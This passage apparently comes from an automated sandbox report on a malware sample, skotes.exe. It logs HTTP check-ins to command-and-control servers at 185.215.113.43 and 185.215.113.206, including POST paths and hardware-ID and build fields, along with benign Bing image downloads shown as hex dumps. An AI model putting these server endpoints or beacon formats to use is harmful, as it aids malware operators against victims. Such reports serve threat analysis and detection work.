Nov 5, 2024 20:53:00.404633999 CET	1236	IN	Data Raw: 2a f0 b7 da 32 db fc f2 0e c5 1d f2 e6 ee 19 61 a2 56 52 eb 31 57 ba 73 22 52 77 37 2a 92 76 37 2a f0 b5 5a ff c8 b9 f2 8e c6 6c af e6 cf ba 79 a6 5a 17 93 61 1c ba 5a 97 cb b9 f2 67 9a b2 33 2a ee 09 60 a2 56 52 af 31 57 ba c9 27 92 76 37 2a ee Data Ascii: 2aVR1Ws"Rw7v7ZlyZaZg3`VR1W'v7iaVR2W'VR[W/:`VR2W')'`VR1Ws"Rw<.wjVRS2W'ZVRuAW~.w~.wnV 'n[IV3J
Nov 5, 2024 20:53:00.404684067 CET	1236	IN	Data Raw: de 69 b7 f2 6f 13 66 74 22 4e 7b f1 66 5c fd f2 6f 9c a7 35 9c 6e fe 9c e5 56 2f 4e 99 98 be f2 2a 92 76 37 2a 92 76 37 2a 92 76 37 2a 2b 2f 57 94 d1 69 f8 93 96 35 b1 e2 26 7b f1 52 5b fd f2 84 55 8c f3 6f 1b b2 73 26 5a 0a 5b 2a 68 b7 f2 67 9a Data Ascii: ioft"N{f\o5nV/Nv7v7v7+/Wi5&{R[Uos&Z[hg/\|v7v7v7+/Woym{%#xv7v7v7+/Wo{R1n(N6v7v7v7+/WoW5Vo{Z/+$/N\|#xv7*+/Wo
Nov 5, 2024 20:53:00.404696941 CET	1236	IN	Data Raw: 2a 92 76 37 2a 92 76 37 2a 2b 2f 57 95 d1 fd f6 94 d1 ed fa 93 26 31 de fa 6e f1 8a e5 56 2f 43 23 1c ca f2 e6 56 ba 7b 30 9d fc fe eb 56 ba f2 67 9a be 30 e4 56 35 ea e5 d0 b9 b1 62 96 ed 69 cf 95 09 c5 6f 94 52 f9 94 57 ba c7 6f 9c 04 7c 01 23 Data Ascii: v7v7+/W&1nV/C#V{0Vg0V5bioRWo\|#xv7+/Wi~o(Z6pV2WqG~an:>:<v7v7v7+/Wom&'&RSW6v7v7v7+/Wgr61,/b#neuZ\|Wv&
Nov 5, 2024 20:53:00.409673929 CET	1120	IN	Data Raw: a5 5a ba f2 e6 56 37 e9 ba 56 ed ed 6d 14 a6 5b e4 d1 fc b2 6d 0e be 79 ac 16 7b ae fa 57 ba f2 e6 85 ed 62 0e f3 4a f2 e6 d9 7e ef 61 96 b3 6d 31 56 ba f2 23 1b 66 68 fb 85 63 6f 1f 55 3e 77 e6 56 ba 5a b1 dd b9 f2 6f 86 35 c8 ee d1 74 24 27 86 Data Ascii: ZV7Vm[my{WbJ~am1V#fhcoU>wVZo5t$'z{+=Y\|c+%UbgngV7/z,{XnV7/z#fV95~a#fhct.51o]/8&{yV](ZH&RXW@H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50181	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:53:00.335100889 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 36 32 37 37 35 42 35 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB62775B55C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 5, 2024 20:53:01.241731882 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:53:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50182	185.215.113.43	80	7692	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:53:02.856036901 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 5, 2024 20:53:03.774490118 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 05 Nov 2024 19:53:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	50188	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:53:19.229712963 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 5, 2024 20:53:20.110292912 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:53:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 5, 2024 20:53:20.282295942 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJEBGIEBFIJKEBFBFHI Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 45 45 36 36 44 45 35 30 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 42 47 49 45 42 46 49 4a 4b 45 42 46 42 46 48 49 2d 2d 0d 0a Data Ascii: ------DHJEBGIEBFIJKEBFBFHIContent-Disposition: form-data; name="hwid"DCEE66DE5039786254513------DHJEBGIEBFIJKEBFBFHIContent-Disposition: form-data; name="build"tale------DHJEBGIEBFIJKEBFBFHI--
Nov 5, 2024 20:53:20.563344002 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:53:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	50196	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:53:26.218693018 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 5, 2024 20:53:27.100713015 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:53:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 5, 2024 20:53:27.279979944 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGCGDBGCAAEBFIECGHD Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 45 45 36 36 44 45 35 30 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 2d 2d 0d 0a Data Ascii: ------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="hwid"DCEE66DE5039786254513------JDGCGDBGCAAEBFIECGHDContent-Disposition: form-data; name="build"tale------JDGCGDBGCAAEBFIECGHD--
Nov 5, 2024 20:53:27.562093973 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:53:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	50197	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 20:53:32.184880018 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 5, 2024 20:53:33.122117043 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:53:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 5, 2024 20:53:33.141022921 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDGIJEGHDAECAKECAFCA Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 45 45 36 36 44 45 35 30 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 49 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 2d 2d 0d 0a Data Ascii: ------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="hwid"DCEE66DE5039786254513------IDGIJEGHDAECAKECAFCAContent-Disposition: form-data; name="build"tale------IDGIJEGHDAECAKECAFCA--
Nov 5, 2024 20:53:33.437711954 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:53:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49717	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:50:54 UTC	346	OUT	GET /th?id=OADD2.10239340418543_1PQIQEA9PYCCTOZ9T&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-05 19:50:54 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 748526 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 79473984F1284AC0B41CC4CA0AA6E959 Ref B: DFW30EDGE1714 Ref C: 2024-11-05T19:50:54Z Date: Tue, 05 Nov 2024 19:50:53 GMT Connection: close
2024-11-05 19:50:54 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 32 3a 31 30 20 32 32 3a 35 33 3a 30 38 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.1 (Windows)2023:02:10 22:53:088C
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: 8e da 28 bf dd 7f bb 5e 69 79 69 1a 5e dd 79 7f f3 cb fe 59 57 4f a8 6b 16 ef e1 1d 17 4f b3 f3 be cf a5 da c7 e6 c5 ff 00 3f 12 cb fb c7 6f fd 96 b6 9f be 67 0f 70 ea bc 0f a7 c6 97 ba 7f da 20 f3 6d e2 f3 23 97 f8 df 7b 27 f1 d3 fe 20 45 e4 de fd a2 cf ce f2 ef ed 23 8e 28 a2 83 f8 d7 fd 96 a7 e9 7a b5 93 df 7d b3 cf ff 00 5b e5 f9 5e 6f f7 7e ef df ff 00 e2 a9 fa c6 b1 1c d3 4d 71 67 ff 00 2e 1f f2 cb e4 f3 b7 ef f9 76 7f b3 51 38 1a 18 96 7e 28 d6 af 21 97 4f f2 3f 77 2d ac 76 d2 f9 50 a7 9d b2 a6 f8 77 a8 5b 7f c2 e2 d1 64 92 0f f5 b6 b2 5b 45 2c bf f3 d7 67 cb ff 00 ed 55 0b 7d 4f ce bd 8a f3 50 ff 00 c8 50 ff 00 ab ff 00 7b f8 ab 57 c2 6f f6 cf 8d 1a 2c 91 f9 32 c9 15 84 92 4b e5 7f cb bf f7 aa 21 02 a7 b1 ec da a5 a5 95 cf 87 f5 0d 3e e2 0f 36 39 Data Ascii: (^iyi^yYWOkO?ogp m#{' E#(z}[^o~Mqg.vQ8~(!O?w-vPw[d[E,gU}OPP{Wo,2K!>69
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: cf 37 cb 97 ca ff 00 d9 aa 9f 8b 2f 65 7d 6b 4f d5 24 fd ed c4 b2 fd 9a ea 5f f5 3f ba fb d1 55 0b 7d 42 3f 3a 2b 89 3f 7b 6f 17 99 fe 76 d6 33 81 a4 26 5c f8 98 96 cf a2 cb e6 41 e5 7d 97 fe 9b d6 27 c2 3b 49 26 f1 04 da 84 9e 4c 51 da c5 fe b6 6a bf e2 c7 8d fc 3f 75 1c 9f f3 ca 49 3f e0 72 54 df 0c ff 00 73 e0 5d 56 48 ff 00 d2 ae 2e ae bc b8 a2 ff 00 75 3e f5 5c 3f 86 67 2f 8c ec f4 fb df ec dd 2f cc b7 b1 ff 00 48 96 5f b4 cb 2f 93 ff 00 1f 09 25 60 eb 97 72 43 aa 45 e6 7f ac 97 f7 9e 6d 5f f1 45 ef d8 f4 b8 a4 b7 ff 00 96 b1 7e eb ff 00 b2 ae 57 ed 76 5e 4f 97 ff 00 2c e2 8b ed 3f ec 7f b5 ba 88 40 d2 73 36 2e 2e 24 49 bc bf 3e 69 6d ff 00 d6 79 b2 d3 ec de 47 ff 00 4c 8f c8 fd d7 fc b2 ff 00 9e 89 5c f4 9a c7 d9 bf d1 e3 d2 a6 8a df ca fd ef f7 fe Data Ascii: 7/e}kO$_?U}B?:+?{ov3&\A}';I&LQj?uI?rTs]VH.u>\?g//H_/%`rCEm_E~Wv^O,?@s6..$I>imyGL\
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: 44 75 0b cf 23 fd 55 af ee a2 ff 00 9f 8a ce 01 33 cb b4 3b 78 e6 b2 d5 6c e3 ff 00 96 b1 57 19 e1 fb 7f b1 cd a8 47 71 e7 4b fb df 2a 2f 2a bb ff 00 0d db fd 9a f6 2f fb f7 5c de 8f 0f 93 ad 6a 11 db fe eb f7 b2 79 5f f7 df f7 69 c2 7e e1 73 81 8f e2 c7 b6 4f 0f c5 a7 ff 00 cb e7 da bf 7b 17 f1 c6 9b 3f 8a bb ff 00 01 e9 9f 6c f8 55 17 da 20 f3 63 ba 89 e4 8a 28 a1 f9 e3 db f2 57 0d e2 cd 3e 47 d6 a5 92 3f de f9 b7 5e 5f fd 74 da 9b 9a bb 9f d9 ff 00 53 91 3c 23 a8 47 24 f0 f9 76 12 fd a7 f7 bf 72 38 ab 6f b0 73 7d b3 aa d3 ed 2c af 3c 3f 15 bd c7 fa b9 62 fd ef 9b f3 d5 fd 0e de f5 3c 3f 14 77 9f ba b8 b5 97 cb ff 00 bf 7f bb dd ff 00 02 5a ad a5 dc 49 fe b2 38 26 f2 e5 ff 00 9e b0 ff 00 1f fc 0a a8 6b 9a 9d ed b7 89 ff 00 b3 e4 be 9a 2b 3b ab 58 fe cb Data Ascii: Du#U3;xlWGqK//\jy_i~sO{?lU c(W>G?^_tS<#G$vr8os},<?b<?wZI8&k+;X
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: 79 df 67 49 3f d4 cc 9f ec d7 01 a7 dd c7 6d 34 5f 68 83 cd 8f cd fd ec 5f fb 2e ea f5 7f f8 4a 23 b6 fd 9d ff 00 b4 35 48 21 bf bc d6 6e a4 b6 8a 29 61 f9 24 b8 fb bb f6 7f 72 34 fb 95 13 80 42 67 07 e2 0b 79 21 be fe d8 b7 9f ec ba 7d fd d4 9f d9 ff 00 dc b8 fe f7 c9 fe f5 66 eb 0f 1c df bc 8e 7f 36 4f fa 65 fd cf ef 53 2c f5 bb db 68 6d 6c fc f9 a5 b3 8a eb cc f2 bf e0 68 df f7 d7 c9 5a ba c5 bd b5 e7 88 75 58 e3 82 1f b3 cb a8 49 27 fc 01 9f 75 63 f0 9b 15 bc 37 69 a8 cd 0c 36 f6 f7 d0 da c9 2c 5f f3 c7 f7 d1 ed fb df ee 56 6e b9 15 cf f6 2c d2 7e fa ea 39 7f 77 14 bf f4 d7 f8 ab b9 f0 3e 99 25 cc f2 db dc 4f f6 5d 3e 5f f9 6b 2c 3b fc cf bf ff 00 8f 57 4f e0 bb 2f 0e 24 d2 c7 1d 8f 9b ac 58 5a c9 73 2c 57 7f be 4f e0 fd ed 6d 4c 8a 87 6d ae 68 ff 00 Data Ascii: ygI?m4_h_.J#5H!n)a$r4Bgy!}f6OeS,hmlhZuXI'uc7i6,_Vn,~9w>%O]>_k,;WO/$XZs,WOmLmh
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: e7 48 3f d0 35 48 af 23 9e 69 6d ee bf d6 cb ff 00 3e f5 72 e2 ee 4b 69 e5 b8 b8 f3 a2 fd d7 97 e5 56 27 da a3 4b 19 6d ed ff 00 7b 1f 9b fb af 36 6f fd 0a a6 b8 bd 92 e6 68 a3 b7 ff 00 8f 39 65 f3 3f d7 7f ab 7a e2 9c 26 7a 1c f0 2c f9 b6 4f 0f 97 24 f0 f9 9f e7 6d 4d aa 5e ff 00 c4 ce 58 e4 f3 a2 fd d4 7e 54 5e 76 cf f7 6a b6 8f 7b 6d 67 36 b5 24 73 c3 fb a9 63 ff 00 55 ff 00 2d 37 7d df f8 0d 1a 84 bf da b3 45 71 1f d8 ae a3 ff 00 59 2f 9b 32 6f ff 00 ec a9 04 07 c9 69 b3 4b fb 67 9f 34 bf 6a ff 00 96 5f f3 d2 b6 ff 00 d1 bf b6 ad 64 fd fc b1 fd 97 ec df eb bf cf fb b4 fd 42 de d9 3c 3f 69 67 fe aa df cd 8f f7 5f f3 cf fd b5 ae 6e ce f6 47 f3 ad ff 00 e5 a7 ee e3 fd ef dc f9 5e ae 99 15 0d 8b 39 64 bc d6 b5 a8 e4 9e 69 6d ff 00 d1 23 8a 2f f9 f7 f9 3e Data Ascii: H?5H#im>rKiV'Km{6oh9e?z&z,O$mM^X~T^vj{mg6$scU-7}EqY/2oiKg4j_dB<?ig_nG^9dim#/>
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: ae fd 52 f0 5e c5 1c f2 69 77 e6 14 97 ec 6d b3 e7 5d 9f ee d7 0e 2a 15 aa fb bc b7 89 d5 4f d9 42 3e 67 ce fe 20 f8 87 73 e1 58 75 0f 12 5e 79 3f 68 b0 8a 78 fc ab 4f 3b fd 1f 73 ec 85 7c c7 5f bb fe f7 e1 5e 5d e2 cb 8f 0c 5e 78 46 ea f3 c3 fa 56 a9 fd a1 af 5d 79 51 6a ba dc c9 f6 68 fe 7d bf 7b fb be 95 f4 1f c6 0b 5d 7b 47 f8 65 aa f8 9f 47 be be bf b7 fe cf fb 4c be 4c 09 e6 ee f2 76 7c f6 d2 7f ac 8b f8 be 5f bb fc 35 e3 ff 00 05 3e 13 cb 7f e1 18 b1 aa e8 b2 e9 fe 23 d3 d2 3b ff 00 b2 43 f6 87 d2 17 67 cf b3 73 6c fb 44 9f de fe 06 fb d5 e5 fe ef 09 fb fa fe ee b6 38 eb 73 ce 7d ce 43 fe 12 6f 11 f8 1b 54 d4 2f 34 3d 57 fb 52 ce c2 28 ec bf b4 3f d4 d9 dd da c9 0e cd 89 fd df fa 67 fe e5 5c f8 5f e3 0d 47 55 d6 b4 a8 e3 be 87 4b f3 75 08 e3 f3 62 Data Ascii: R^iwm]*OB>g sXu^y?hxO;s\|_^]^xFV]yQjh}{]{GeGLLv\|_5>#;CgslD8s}CoT/4=WR(?g\_GUKub
2024-11-05 19:50:54 UTC	16066	IN	Data Raw: c5 24 bf f2 d6 b3 9d 13 78 63 4e b6 3f 88 5e 2b 4d 6a 2f b1 ff 00 ab f3 7f e3 d7 50 b2 4d 91 c4 bf 2f cd b3 ff 00 65 ad bf 09 fc 43 d2 6f fe d7 71 ac 58 c3 a3 5e 5a ff 00 cb 29 66 7f f4 84 ff 00 a6 5f fc 4d 79 bd bf 85 25 b9 bd 96 38 ef ac a2 93 fe 9a ea 69 0c 32 7f d7 3d ab 53 5c 78 7e f5 26 f2 e4 be f3 64 f3 5e 4f 36 d2 f5 e6 ff 00 d0 d6 b1 9e 17 98 b8 63 67 ce 7a 2e b9 65 65 37 95 26 9f aa f9 b2 45 fb cf b2 7c 9b f7 b7 f0 a5 72 52 3d 92 7f a6 5e 4f 0d d4 91 79 71 f9 52 fd cf fc 7f ff 00 da a3 c3 e9 e2 7b 6f de 7f 6e 59 4b 27 fc b2 96 5d 31 26 9a a6 8f fb 6b c9 f2 e3 d5 6c bc cf 2b fd 6f d8 93 7e ff 00 f7 ba 57 2c 30 d3 81 db f5 98 4c 86 4b 2b 6b 9b 2f 32 df fd 5c bf bb 8a 28 b7 a7 fc 0f 75 33 ec 97 b6 d0 4b 1c 70 59 4b f6 5b a4 fb 55 d4 5f 3f c9 ff 00 Data Ascii: $xcN?^+Mj/PM/eCoqX^Z)f_My%8i2=S\x~&d^O6cgz.ee7&E\|rR=^OyqR{onYK']1&kl+o~W,0LK+k/2\(u3KpYK[U_?
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: bf 03 f8 3f c4 3e 3a d2 bc 2f 1c f7 bf 67 97 cc fd ef 9d e7 7d 91 7f 87 fd 9f f7 ab e3 f2 9a 33 9d 29 62 f1 9e f7 a9 e8 4e 1c d3 8d 28 93 7c 17 b4 d3 b4 1f 0f eb 5a 3f 88 3c e9 75 cf 16 c5 e6 ea b2 c5 bd 21 b7 b5 fb ff 00 64 f3 13 fe 59 3f 7f fb e6 99 ac 7c 40 d3 a6 f1 04 ba 5c 9a 1c 32 e9 fe 6c 71 c5 6b e4 ff 00 ab b7 8e 1d af ff 00 02 fe 1d ff 00 7a ae 6a 9e 17 b2 ff 00 4a b8 b3 d5 6f 6d 74 79 7f d1 ac 2e ee e6 f9 e4 b7 df f2 36 c5 ff 00 96 6d b3 75 59 b3 f0 fe 81 e4 cb a7 c7 63 0c 51 f9 50 7f aa 9f fd 7c bb 3f 79 f3 7f bd 5f 41 85 a7 3a b3 94 f9 48 c4 c2 10 f7 79 86 68 f6 91 dc f8 63 45 d3 ee 3c ef f4 58 a4 b9 f2 a5 87 7f d9 2e 24 ff 00 96 50 7f 17 fc f3 ff 00 79 ab bf f0 9d c7 8b ed bc 23 77 a1 f8 6e c7 ec 16 f2 fe f3 50 96 29 93 ce 9f 77 c9 fe f6 dd Data Ascii: ?>:/g}3)bN(\|Z?<u!dY?\|@\2lqkzjJomty.6muYcQP\|?y_A:HyhcE<X.$Py#wnP)w
2024-11-05 19:50:54 UTC	16384	IN	Data Raw: 2c e7 fd df 9b f6 69 7f e9 a2 2f dd 6a 3c 41 65 1d cf fa 3f fa df 2b f7 92 d6 6f 95 72 f0 c5 1f fc b3 a2 b4 e0 14 e1 32 fe b8 f7 09 3c 5f b8 f3 7c df de 79 b5 67 43 d4 2e 2c 3f eb 9c bf fb 2d 5c d3 ed e2 9a c7 ec f7 1f f6 cb fe 99 ff 00 bb 4c bc b1 fd cf ee ff 00 7b ff 00 4c bf dd ae 5f 6d c8 76 fb 32 85 c6 bb 2f db 7c c9 3f e5 97 fa d9 7f e7 a3 b5 66 eb 9a dc 8f 65 e5 ff 00 cb 48 a2 f2 bf 75 fd cf ee d5 9d 41 76 43 17 97 07 9b 27 9b 59 bf 67 91 ef 3f 77 fb da 7e d0 3d 99 d6 e8 7a 87 db 21 97 50 f2 3f d2 3e 4f 37 fd ca c1 f0 bd bd b4 d7 b7 57 92 7e ea 49 65 fd d7 fd 34 5a 66 96 b6 c9 0c bf 68 ff 00 a6 75 b1 24 b6 56 1f bb 92 0f f9 65 e6 4b ff 00 5c ab 68 7e f6 06 13 9f b2 99 e8 be 03 f0 7e 8b a9 59 5a dc 5c 41 65 75 1f d9 7e d3 e6 fc 8e 91 bb 7c 88 b2 6f Data Ascii: ,i/j<Ae?+or2<_\|ygC.,?-\L{L_mv2/\|?feHuAvC'Yg?w~=z!P?>O7W~Ie4Zfhu$VeK\h~~YZ\Aeu~\|o

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49720	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:50:54 UTC	346	OUT	GET /th?id=OADD2.10239381714324_1EWZXOYRPJQHWBKEX&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
